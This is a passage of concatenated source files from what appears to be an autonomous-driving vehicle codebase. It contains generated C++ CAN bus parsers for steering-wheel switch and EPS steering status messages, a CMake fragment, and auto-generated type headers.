chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_vol_minus(swm_vol_minus(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_wechat(swm_wechat(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_lamplimphomests(swm_lamplimphomests(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_headlamp(swm_headlamp(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_next_song(swm_next_song(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_previous_song(swm_previous_song(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_phone(swm_phone(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_mute(swm_mute(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_menu_right(swm_menu_right(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_menu_left(swm_menu_left(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_menu_down(swm_menu_down(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_menu_up(swm_menu_up(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_fwashersts(swm_fwashersts(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_rolling_counter_0x31a(rolling_counter_0x31a(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_menu_return(swm_menu_return(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_menu_confirm(swm_menu_confirm(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_checksum_0x31a(checksum_0x31a(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_rwashersts(swm_rwashersts(bytes, length)); chassis->mutable_cx75()->mutable_gw_swm_body_0x31a_31a()->set_swm_flashlightsts(swm_flashlightsts(bytes, length)); } // config detail: {'name': 'swm_highbeam', 'enum': {0: 'SWM_HIGHBEAM_RELEASED', 1: 'SWM_HIGHBEAM_PRESSED', 2: 'SWM_HIGHBEAM_RESERVED', 3: 'SWM_HIGHBEAM_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_highbeamType Gwswmbody0x31a31a::swm_highbeam(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 2); Gw_swm_body_0x31a_31a::Swm_highbeamType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_highbeamType>(x); return ret; } // config detail: {'name': 'swm_frontwipingmode', 'enum': {0: 'SWM_FRONTWIPINGMODE_FRONT_WIPING_OFF', 1: 'SWM_FRONTWIPINGMODE_FRONT_WIPER_SPEED_LOW_ACTIVATION', 2: 'SWM_FRONTWIPINGMODE_FRONT_WIPER_SPEED_HIGH_ACTIVATION', 3: 'SWM_FRONTWIPINGMODE_FRONT_MIST_WIPING_ACTIVATION', 4: 'SWM_FRONTWIPINGMODE_FRONT_AUTO_INTERVAL_WIPING_ACTIVATION', 7: 'SWM_FRONTWIPINGMODE_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_frontwipingmodeType Gwswmbody0x31a31a::swm_frontwipingmode(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 3); Gw_swm_body_0x31a_31a::Swm_frontwipingmodeType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_frontwipingmodeType>(x); return ret; } // config detail: {'name': 'swm_wipinginterval_sensitvity', 'enum': {0: 'SWM_WIPINGINTERVAL_SENSITVITY_SENSITIVITY_0', 1: 'SWM_WIPINGINTERVAL_SENSITVITY_SENSITIVITY_1', 2: 'SWM_WIPINGINTERVAL_SENSITVITY_SENSITIVITY_2', 3: 'SWM_WIPINGINTERVAL_SENSITVITY_SENSITIVITY_3', 7: 'SWM_WIPINGINTERVAL_SENSITVITY_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_wipinginterval_sensitvityType Gwswmbody0x31a31a::swm_wipinginterval_sensitvity(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(5, 3); Gw_swm_body_0x31a_31a::Swm_wipinginterval_sensitvityType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_wipinginterval_sensitvityType>(x); return ret; } // config detail: {'name': 'swm_rearfoglight', 'enum': {0: 'SWM_REARFOGLIGHT_RELEASED', 1: 'SWM_REARFOGLIGHT_PRESSED', 2: 'SWM_REARFOGLIGHT_RESERVED', 3: 'SWM_REARFOGLIGHT_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 17, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_rearfoglightType Gwswmbody0x31a31a::swm_rearfoglight(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 2); Gw_swm_body_0x31a_31a::Swm_rearfoglightType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_rearfoglightType>(x); return ret; } // config detail: {'name': 'swm_frontfoglight', 'enum': {0: 'SWM_FRONTFOGLIGHT_OFF', 1: 'SWM_FRONTFOGLIGHT_ON', 2: 'SWM_FRONTFOGLIGHT_RESERVED', 3: 'SWM_FRONTFOGLIGHT_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_frontfoglightType Gwswmbody0x31a31a::swm_frontfoglight(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(2, 2); Gw_swm_body_0x31a_31a::Swm_frontfoglightType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_frontfoglightType>(x); return ret; } // config detail: {'name': 'swm_washerlimphomests', 'enum': {0: 'SWM_WASHERLIMPHOMESTS_NORMAL', 1: 'SWM_WASHERLIMPHOMESTS_LIMPHOME'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_washerlimphomestsType Gwswmbody0x31a31a::swm_washerlimphomests(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 1); Gw_swm_body_0x31a_31a::Swm_washerlimphomestsType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_washerlimphomestsType>(x); return ret; } // config detail: {'name': 'swm_rearwipingmode', 'enum': {0: 'SWM_REARWIPINGMODE_REARWIPING_OFF', 1: 'SWM_REARWIPINGMODE_REAR_WIPER_UNIFORMITY_SPEED', 2: 'SWM_REARWIPINGMODE_RESERVED', 3: 'SWM_REARWIPINGMODE_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_rearwipingmodeType Gwswmbody0x31a31a::swm_rearwipingmode(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(4, 2); Gw_swm_body_0x31a_31a::Swm_rearwipingmodeType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_rearwipingmodeType>(x); return ret; } // config detail: {'name': 'swm_turnindicationact', 'enum': {0: 'SWM_TURNINDICATIONACT_DEFAULT', 1: 'SWM_TURNINDICATIONACT_TURN_LEFT', 2: 'SWM_TURNINDICATIONACT_TURN_RIGHT', 3: 'SWM_TURNINDICATIONACT_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_turnindicationactType Gwswmbody0x31a31a::swm_turnindicationact(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(6, 2); Gw_swm_body_0x31a_31a::Swm_turnindicationactType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_turnindicationactType>(x); return ret; } // config detail: {'name': 'swm_vol_plus', 'enum': {0: 'SWM_VOL_PLUS_RELEASED', 1: 'SWM_VOL_PLUS_PRESSED', 2: 'SWM_VOL_PLUS_RESERVED', 3: 'SWM_VOL_PLUS_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 25, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_vol_plusType Gwswmbody0x31a31a::swm_vol_plus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 2); Gw_swm_body_0x31a_31a::Swm_vol_plusType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_vol_plusType>(x); return ret; } // config detail: {'name': 'swm_vol_minus', 'enum': {0: 'SWM_VOL_MINUS_RELEASED', 1: 'SWM_VOL_MINUS_PRESSED', 2: 'SWM_VOL_MINUS_RESERVED', 3: 'SWM_VOL_MINUS_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 27, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_vol_minusType Gwswmbody0x31a31a::swm_vol_minus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(2, 2); Gw_swm_body_0x31a_31a::Swm_vol_minusType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_vol_minusType>(x); return ret; } // config detail: {'name': 'swm_wechat', 'enum': {0: 'SWM_WECHAT_RELEASED', 1: 'SWM_WECHAT_PRESSED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_wechatType Gwswmbody0x31a31a::swm_wechat(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(4, 1); Gw_swm_body_0x31a_31a::Swm_wechatType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_wechatType>(x); return ret; } // config detail: {'name': 'swm_lamplimphomests', 'enum': {0: 'SWM_LAMPLIMPHOMESTS_NORMAL', 1: 'SWM_LAMPLIMPHOMESTS_LIMPHOME'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_lamplimphomestsType Gwswmbody0x31a31a::swm_lamplimphomests(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(3, 1); Gw_swm_body_0x31a_31a::Swm_lamplimphomestsType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_lamplimphomestsType>(x); return ret; } // config detail: {'name': 'swm_headlamp', 'enum': {0: 'SWM_HEADLAMP_OFF', 1: 'SWM_HEADLAMP_AUTOLIGHT', 2: 'SWM_HEADLAMP_POSITIONLIGHT', 3: 'SWM_HEADLAMP_LOWBEAM', 4: 'SWM_HEADLAMP_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_headlampType Gwswmbody0x31a31a::swm_headlamp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 3); Gw_swm_body_0x31a_31a::Swm_headlampType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_headlampType>(x); return ret; } // config detail: {'name': 'swm_next_song', 'enum': {0: 'SWM_NEXT_SONG_RELEASED', 1: 'SWM_NEXT_SONG_PRESSED', 2: 'SWM_NEXT_SONG_RESERVED', 3: 'SWM_NEXT_SONG_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 33, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_next_songType Gwswmbody0x31a31a::swm_next_song(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 2); Gw_swm_body_0x31a_31a::Swm_next_songType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_next_songType>(x); return ret; } // config detail: {'name': 'swm_previous_song', 'enum': {0: 'SWM_PREVIOUS_SONG_RELEASED', 1: 'SWM_PREVIOUS_SONG_PRESSED', 2: 'SWM_PREVIOUS_SONG_RESERVED', 3: 'SWM_PREVIOUS_SONG_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_previous_songType Gwswmbody0x31a31a::swm_previous_song(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(2, 2); Gw_swm_body_0x31a_31a::Swm_previous_songType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_previous_songType>(x); return ret; } // config detail: {'name': 'swm_phone', 'enum': {0: 'SWM_PHONE_RELEASED', 1: 'SWM_PHONE_PRESSED', 2: 'SWM_PHONE_RESERVED', 3: 'SWM_PHONE_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_phoneType Gwswmbody0x31a31a::swm_phone(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(4, 2); Gw_swm_body_0x31a_31a::Swm_phoneType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_phoneType>(x); return ret; } // config detail: {'name': 'swm_mute', 'enum': {0: 'SWM_MUTE_RELEASED', 1: 'SWM_MUTE_PRESSED', 2: 'SWM_MUTE_RESERVED', 3: 'SWM_MUTE_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_muteType Gwswmbody0x31a31a::swm_mute(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(6, 2); Gw_swm_body_0x31a_31a::Swm_muteType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_muteType>(x); return ret; } // config detail: {'name': 'swm_menu_right', 'enum': {0: 'SWM_MENU_RIGHT_RELEASED', 1: 'SWM_MENU_RIGHT_PRESSED', 2: 'SWM_MENU_RIGHT_RESERVED', 3: 'SWM_MENU_RIGHT_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 41, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_menu_rightType Gwswmbody0x31a31a::swm_menu_right(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 2); Gw_swm_body_0x31a_31a::Swm_menu_rightType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_menu_rightType>(x); return ret; } // config detail: {'name': 'swm_menu_left', 'enum': {0: 'SWM_MENU_LEFT_RELEASED', 1: 'SWM_MENU_LEFT_PRESSED', 2: 'SWM_MENU_LEFT_RESERVED', 3: 'SWM_MENU_LEFT_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 43, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_menu_leftType Gwswmbody0x31a31a::swm_menu_left(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(2, 2); Gw_swm_body_0x31a_31a::Swm_menu_leftType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_menu_leftType>(x); return ret; } // config detail: {'name': 'swm_menu_down', 'enum': {0: 'SWM_MENU_DOWN_RELEASED', 1: 'SWM_MENU_DOWN_PRESSED', 2: 'SWM_MENU_DOWN_RESERVED', 3: 'SWM_MENU_DOWN_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 45, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_menu_downType Gwswmbody0x31a31a::swm_menu_down(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(4, 2); Gw_swm_body_0x31a_31a::Swm_menu_downType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_menu_downType>(x); return ret; } // config detail: {'name': 'swm_menu_up', 'enum': {0: 'SWM_MENU_UP_RELEASED', 1: 'SWM_MENU_UP_PRESSED', 2: 'SWM_MENU_UP_RESERVED', 3: 'SWM_MENU_UP_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_menu_upType Gwswmbody0x31a31a::swm_menu_up(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(6, 2); Gw_swm_body_0x31a_31a::Swm_menu_upType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_menu_upType>(x); return ret; } // config detail: {'name': 'swm_fwashersts', 'enum': {0: 'SWM_FWASHERSTS_RELEASED', 1: 'SWM_FWASHERSTS_PRESSED', 2: 'SWM_FWASHERSTS_RESERVED', 3: 'SWM_FWASHERSTS_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_fwasherstsType Gwswmbody0x31a31a::swm_fwashersts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(4, 2); Gw_swm_body_0x31a_31a::Swm_fwasherstsType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_fwasherstsType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x31a', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwswmbody0x31a31a::rolling_counter_0x31a(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'swm_menu_return', 'enum': {0: 'SWM_MENU_RETURN_RELEASED', 1: 'SWM_MENU_RETURN_PRESSED', 2: 'SWM_MENU_RETURN_RESERVED', 3: 'SWM_MENU_RETURN_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_menu_returnType Gwswmbody0x31a31a::swm_menu_return(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 2); Gw_swm_body_0x31a_31a::Swm_menu_returnType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_menu_returnType>(x); return ret; } // config detail: {'name': 'swm_menu_confirm', 'enum': {0: 'SWM_MENU_CONFIRM_RELEASED', 1: 'SWM_MENU_CONFIRM_PRESSED', 2: 'SWM_MENU_CONFIRM_RESERVED', 3: 'SWM_MENU_CONFIRM_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_menu_confirmType Gwswmbody0x31a31a::swm_menu_confirm(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Gw_swm_body_0x31a_31a::Swm_menu_confirmType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_menu_confirmType>(x); return ret; } // config detail: {'name': 'checksum_0x31a', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwswmbody0x31a31a::checksum_0x31a(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'swm_rwashersts', 'enum': {0: 'SWM_RWASHERSTS_RELEASED', 1: 'SWM_RWASHERSTS_PRESSED', 2: 'SWM_RWASHERSTS_RESERVED', 3: 'SWM_RWASHERSTS_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_rwasherstsType Gwswmbody0x31a31a::swm_rwashersts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Gw_swm_body_0x31a_31a::Swm_rwasherstsType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_rwasherstsType>(x); return ret; } // config detail: {'name': 'swm_flashlightsts', 'enum': {0: 'SWM_FLASHLIGHTSTS_RELEASED', 1: 'SWM_FLASHLIGHTSTS_PRESSED', 2: 'SWM_FLASHLIGHTSTS_RESERVED', 3: 'SWM_FLASHLIGHTSTS_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_swm_body_0x31a_31a::Swm_flashlightstsType Gwswmbody0x31a31a::swm_flashlightsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 2); Gw_swm_body_0x31a_31a::Swm_flashlightstsType ret = static_cast<Gw_swm_body_0x31a_31a::Swm_flashlightstsType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(smoother smoother.cc smoother.h) target_link_libraries(smoother /modules/common/status frame planning_gflags planning_proto) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_singleindex_h #define impl_type_singleindex_h #include "impl_type_invalid.h" typedef invalid SingleIndex; #endif // impl_type_singleindex_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_EPS2_STATUS_0X112_112_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_EPS2_STATUS_0X112_112_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Eps2status0x112112 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Eps2status0x112112(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'EPS_ControlStatus', 'enum': {0: 'EPS_CONTROLSTATUS_TEMPORARILY_INHIBIT', 1: 'EPS_CONTROLSTATUS_AVAILABLE_FOR_CONTROL', 2: 'EPS_CONTROLSTATUS_ACTIVE', 3: 'EPS_CONTROLSTATUS_PERMANENTLY_FAILED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 62, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_controlstatusType eps_controlstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_Driver_Intervene', 'enum': {0: 'EPS_DRIVER_INTERVENE_NOT_INTERVENE', 1: 'EPS_DRIVER_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 56, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_driver_interveneType eps_driver_intervene(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_SteerWheelRotSpd', 'offset': 0.0, 'precision': 1.0, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|511]', 'bit': 55, 'type': 'int', 'order': 'motorola', 'physical_unit': 'deg/s'} int eps_steerwheelrotspd(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_SteeringWheelAng', 'offset': -1000.0, 'precision': 0.1, 'len': 16, 'is_signed_var': False, 'physical_range': '[-1000|1000]', 'bit': 39, 'type': 'double', 'order': 'motorola', 'physical_unit': 'degree'} double eps_steeringwheelang(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_TorsionBarTorque', 'offset': 0.0, 'precision': 0.01, 'len': 10, 'is_signed_var': False, 'physical_range': '[0|8]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double eps_torsionbartorque(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_SASFailureSts', 'enum': {0: 'EPS_SASFAILURESTS_SENSOR_INFORMATION_INVALID__AN_INTERNAL_SENSOR_FAULT_OCCURRED', 1: 'EPS_SASFAILURESTS_SENSOR_INFORMATION_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_sasfailurestsType eps_sasfailurests(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_TorsionBarTorqueDir', 'enum': {0: 'EPS_TORSIONBARTORQUEDIR_POSITIVE', 1: 'EPS_TORSIONBARTORQUEDIR_NEGATIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_torsionbartorquedirType eps_torsionbartorquedir(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPS_TorsionBarTorqueValid', 'enum': {0: 'EPS_TORSIONBARTORQUEVALID_INVALID', 1: 'EPS_TORSIONBARTORQUEVALID_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps2_status_0x112_112::Eps_torsionbartorquevalidType eps_torsionbartorquevalid(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_EPS2_STATUS_0X112_112_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_singlepoint_h #define impl_type_singlepoint_h #include "impl_type_uint32.h" #include "impl_type_float.h" struct SinglePoint { ::Float x; ::Float y; ::Float z; ::Float intensity; ::UInt32 ring; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(x); fun(y); fun(z); fun(intensity); fun(ring); } template<typename F> void enumerate(F& fun) const { fun(x); fun(y); fun(z); fun(intensity); fun(ring); } bool operator == (const ::SinglePoint& t) const { return (x == t.x) && (y == t.y) && (z == t.z) && (intensity == t.intensity) && (ring == t.ring); } }; #endif // impl_type_singlepoint_h <file_sep>/* Copyright 2017 The jmc_auto Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the 